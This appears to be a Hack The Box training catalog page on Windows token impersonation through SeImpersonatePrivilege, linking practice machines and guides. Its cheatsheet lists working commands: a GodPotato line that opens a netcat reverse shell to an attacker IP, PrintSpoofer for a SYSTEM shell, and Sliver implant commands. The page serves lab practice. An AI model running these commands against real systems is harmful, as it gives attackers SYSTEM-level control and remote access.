Token Impersonation/Theft
Sub-technique of T1134 Access Token Manipulation ↗
Using privileges like SeImpersonate to grab a SYSTEM token (the Potatoes).
How it shows up on Hack The Box
Service accounts (IIS, MSSQL) hold SeImpersonatePrivilege: run whoami /priv and, if it is there, GodPotato or PrintSpoofer give you SYSTEM in seconds.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- SeImpersonatePrivilege and Potatoes: from service account to SYSTEM on Windows 4 min read What SeImpersonate means, why IIS and MSSQL service accounts have it, and which Potato fits each Windows version: PrintSpoofer, GodPotato, JuicyPotatoNG.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
User, groups and privileges
whoami /all
SeImpersonate with GodPotato
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"Typical on service accounts (IIS, MSSQL). Alternatives for older versions are PrintSpoofer and JuicyPotatoNG.
SeImpersonate with PrintSpoofer
.\PrintSpoofer64.exe -i -c powershellC2 and post-exploitation › Sliver
Commands inside the implant
info; getprivs; execute -o whoami /all; ls; download C:\\ruta\\ficheroNo command matches.